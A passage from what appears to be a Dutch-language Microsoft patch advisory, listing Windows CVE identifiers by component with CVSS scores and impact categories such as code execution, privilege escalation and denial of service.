| 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRole: DNS Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49169 | 8.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-50426 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58640 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-49184 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49789 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49797 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50308 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50412 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50386 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50309 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50313 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50341 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50388 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50448 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50471 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50422 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50402 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50461 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50417 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50482 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-50494 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50667 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50668 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50672 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56182 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Overlay Filter: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54987 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50435 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50409 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Notification: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50337 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50334 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Backup Engine: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50406 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Image Acquisition: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50315 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Media Foundation: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54993 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58610 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56189 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57090 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57094 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57087 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Schannel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56186 | 8.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Address Translation (NAT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56181 | 8.30 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nCode Integrity DLL (ci.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50491 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Hub Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50479 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48564 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50370 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50518 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50685 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-50683 | 8.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56159 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58627 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows App Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48572 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-48571 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50400 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58526 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Virtual Filtering Platform (VFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50432 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49787 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50420 | 6.20 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Networking: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58628 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50437 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Storage Spaces Direct: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49168 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50299 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Codecs Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57083 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows User Interface Core: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50454 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Internal Task Bar: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50293 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34346 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50312 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50462 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57093 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Redirected Drive Buffering: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50372 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50447 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50505 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Model: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50331 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Certificate Services (AD CS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54121 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Spaceport.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50333 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50298 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Devices Human Interface: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50310 | 4.70 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Audio Class driver (usbaudio.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49794 | 4.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50453 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58528 | 6.80 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Group Policy: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50391 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Filtering Platform (WFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50405 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54129 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54127 | 7.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50485 | 4.50 | Denial-of-Service                   | \n| CVE-2026-50680 | 8.20 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Federation Services (AD FS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54983 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50695 | 7.50 | Denial-of-Service                   | \n| CVE-2026-56155 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50304 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50368 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50324 | 5.90 | Denial-of-Service                   | \n| CVE-2026-50355 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50411 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50647 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50684 | 4.80 | Voordoen als andere gebruiker       | \n| CVE-2026-58529 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50476 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50469 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows MIDI Service Module: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50342 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56187 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft NAT Helper Components (ipnathlp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58537 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Wide Area Network Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50450 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50509 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58635 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows OLE: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50344 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50686 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows WebView: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56173 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Network File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56194 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56648 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56649 | 5.90 | Uitvoeren van willekeurige code     | \n| CVE-2026-56650 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Netlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50500 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Speech: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49171 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Brokering File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49162 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50305 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50361 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50466 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50458 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Connected User Experiences and Telemetry: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50421 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42975 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54990 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50330 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50474 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50504 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows File Explorer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33842 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-40422 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-41087 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50473 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50442 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50389 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50456 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57084 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49783 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Graphics Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50296 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50493 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Active Directory: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55001 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54119 | 7.50 | Denial-of-Service                   | \n| CVE-2026-54115 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50682 | 7.10 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50689 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50393 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50396 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows FTP Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49172 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows USB Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50321 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server Network Transport Driver (srvnet.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57089 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows CryptoAPI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55144 | 7.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49181 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54128 | 8.40 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Operating Systems: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50335 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50317 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50418 | 5.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Web Proxy Auto-Discovery Protocol (WPAD): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50480 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRPC Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50346 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44806 | 5.30 | Denial-of-Service                   | \n| CVE-2026-50302 | 4.20 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50352 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50681 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Client-Side Caching (CSC) Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58637 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Backup: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50364 | 7.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nSQL Server ODBC driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42990 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50490 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58540 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58541 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Key Guard: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50303 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50378 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Event Logging Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34348 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50502 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nExtensible Storage Engine (ESENT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57088 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Container Isolation FS Filter Driver (unionfs.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50428 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Print Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55000 | 6.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54111 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54991 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54996 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49802 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49806 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50674 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58543 | 6.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50360 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56168 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nComposite Image File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50381 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Internal System User Profile: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50425 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clip Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50384 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Video Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49804 | 6.60 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Help Defense: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55014 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Printer Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49166 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55004 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard User Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50488 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML Core Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50359 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Unified Consent System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50326 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows PowerShell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              